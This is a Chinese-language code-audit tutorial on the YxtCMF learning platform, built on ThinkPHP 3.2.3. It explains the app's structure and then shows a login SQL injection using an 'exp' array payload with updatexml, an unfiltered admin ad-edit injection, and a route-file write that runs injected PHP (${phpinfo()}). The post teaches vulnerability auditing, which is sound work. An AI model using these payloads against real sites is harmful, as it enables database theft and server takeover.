MVC框架的程式碼審計小教程

0X7e發表於2020-10-29

介紹

YxtCMF線上學習系統是一個以thinkphp+bootstrap為框架進行開發的網路學習平臺系統。
線上學習系統,為現代學習型組織提供了卓有成效的學習與培訓方案, 能夠通過線上學習和線上評估的方式輕鬆完成針對員工制訂的培訓計劃,能夠輕鬆建立自己的網校!

1、設計理念:E-learning
2、簡單直觀的介面、主次分明的設計
3、YxtCMF幫助培訓機構和個人以最低成本、最快速度建立自己的線上教學網站,無需擔心技術問題
4、YxtCMF採用PHP 5開發,使用mysql資料庫。 框架使用Thinkphp+Bootstrap框架

下載地址:https://www.jb51.net/codes/474604.html

目錄結構

admin	//後臺靜態檔案
appliication	//應用檔案
data	//資料配置檔案
Expand	//擴充套件類庫目錄
plugins	//外掛
public	//一些資源
themes	//主題
ueditor	//編輯器檔案
update	//升級檔案
uploads	//上傳檔案
yxtedu	//核心目錄根據Thinkphp3.2.3開發的
index.php

yxtcmf 基於 thinkphp3.2.3開發的,所以先了解一下目錄

application/xxx/controller	//由於是MVC架構,所以我們重要的邏輯程式碼就在controller下檢視就好了
application/xxx/Menu	//裡面基本上是陣列,定義了網站的一些功能名稱、模組,我們可以根據這些陣列查詢到功能點對應的php檔案
data/conf/route.php	//路由檔案
data/conf/db.php	//資料庫配置檔案
yxtedu/Core/Mode/Api/function.php	//thinkphp裡面的一些自定義的重要函式,後面我們需要用到

前臺審計

我們瞭解完這些配置架構等等之後,我們可以就從 index.php 頁面來審計

<?php
if (ini_get('magic_quotes_gpc'))
{
	function stripslashesRecursive(array $array)
	{
		foreach ($array as $k => $v)
		{
			if (is_string($v))
			{
				$array[$k] = stripslashes($v);
			} else
			if (is_array($v))
			{
				$array[$k] = stripslashesRecursive($v);
			}
		}
		return $array;
	}
	$_GET = stripslashesRecursive($_GET);
	$_POST = stripslashesRecursive($_POST);
}
define("APP_DEBUG",false);
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');
if (!file_exists("data/install.lock"))
{
    if (strtolower($_GET['g']) != "install")
    {
        header("Location:./index.php?g=install");
        exit();
    }
}
require SPAPP_PATH . 'Core/ThinkPHP.php';

首先是判斷 if (ini_get('magic_quotes_gpc')) ,檢視是否開啟GPC

若開啟了的話,則會對GET、POST接受的引數進行 stripslashesRecursive(實質上就是stripslashes) 轉義:

function stripslashesRecursive(array $array)
{
	foreach ($array as $k => $v)
	{
		if (is_string($v))
		{
			$array[$k] = stripslashes($v);
		} else
		if (is_array($v))
		{
			$array[$k] = stripslashesRecursive($v);
		}
	}
	return $array;
}
$_GET = stripslashesRecursive($_GET);
$_POST = stripslashesRecursive($_POST);

然後下面給一些常見的引數或者路徑賦值,定義的一些常量:

define("APP_DEBUG",false);         
define('SITE_PATH', dirname(__file__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'yxtedu/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome');

然後再檢視下面,可以發現是否安裝成功;

0x01、前臺登陸處未使用I函式過濾導致注入

漏洞地址 :application/User/Controller/LoginController.class.php

首先驗證了驗證碼是否正確,然後初始化了一個Users模組,最後檢測是用手機號登入還是用郵箱登入:

$this->_do_mobile_login();
$this->_do_email_login(); 

這兩個函式的定義就在這段程式碼的下面

注意這第 146 行,檢視這一句SQL語句,發現沒有經過I函式過濾
Thinkphp3.2.3中,如果沒有經過I函式接受資料則會導致SQL隱碼攻擊
這是thinkphp的一個框架漏洞,我們先來看一下where函式的功能和用法:

也就是說,where裡面包含的內容就是我們要查詢的where後面的語句,那麼我們這裡是不是隻要直接寫入語句進去就行啦~ 但是你要觀察到我們這裡where裡面的$where變數是陣列的形式,而並非字串形式。
這裡就得用到其他的姿勢了,也就是exp查詢

$where['mobile']=$_POST['username'];
這裡需要傳引數組進去(如果看不懂可以看看這個連結https://www.php.cn/php-weizijiaocheng-381282.html
這時候我們要在POST包裡面傳進陣列,那怎麼傳呢?這裡運用到了&這個符號進行傳參,我們注意要傳兩個引數,第一個是exp,第二個是我們要執行的sql語句,然後就開始構造payload

account[0]=exp&account[1]=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true
我們執行一下看看咋樣

可以看到少了個等於號,為什麼?因為這個等於號被當做賦值用了,所以不會被當做程式碼執行,我們需要再傳入一個等於號

account[0]=exp&account[1]==1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)&password=admin&ipForget=true

這時候就注入成功了

後臺使用I方法但未選擇過濾方式,導致預設未過濾形成注入

漏洞位置:application/Admin/Controller/AdController.class.php

	function edit(){
		$id=I("get.id");
		$ad=$this->ad_model->where("ad_id=$id")->find();
		$this->assign($ad);
		$this->display();
	}

根據函式命名可以知道這個是編輯,於是我們新增一條廣告

再進去,通過下圖我們可以知道這個是偽靜態注入

這邊接受我們的id,$id 雖然經過了I函式,但是沒有選擇,而預設又是為空


這邊只需要閉合一下就可以了

因為路由設定問題導致GetShell

漏洞位置:application\Admin\Controller\RouteController.class.php

跟進 sp_get_routes 函式,這邊貼出關鍵程式碼

function sp_get_routes($refresh=false){
	......
	$routes=M("Route")->where("status=1")->order("listorder asc")->select();	//取出status為1的Route
	$all_routes=array();
	$cache_routes=array();
	foreach ($routes as $er){
		$full_url=htmlspecialchars_decode($er['full_url']);		//這裡的full_url用htmlspecialchars_decode解碼
		......
		$all_routes[$url]=$full_url;	//將$full_url新增到$all_routes中
	}
	......
	$route_dir=SITE_PATH."/data/conf/";
	if(!file_exists($route_dir)){
		mkdir($route_dir);
	}
		
	$route_file=$route_dir."route.php";	//檢測是否存在目錄和route.php
		
	file_put_contents($route_file, "<?php\treturn " . stripslashes(var_export($all_routes, true)) . ";");

	//將我們的$all_routes寫入到route.php中
	
	return $cache_routes;

通過上面我們知道這邊過濾函式三個

htmlspecialchars_decode
var_export
stripslashes

而這三個函式跟進後對我們沒有什麼用,等於把我們的route寫入檔案中

根據路由規則,我們直接進入目標的頁面,這邊可以寫入檔案,我們就可以去構造個Payload
index/a/b',${phpinfo()}.'

可以看出這邊是把單引號閉合掉,然後執行

相關文章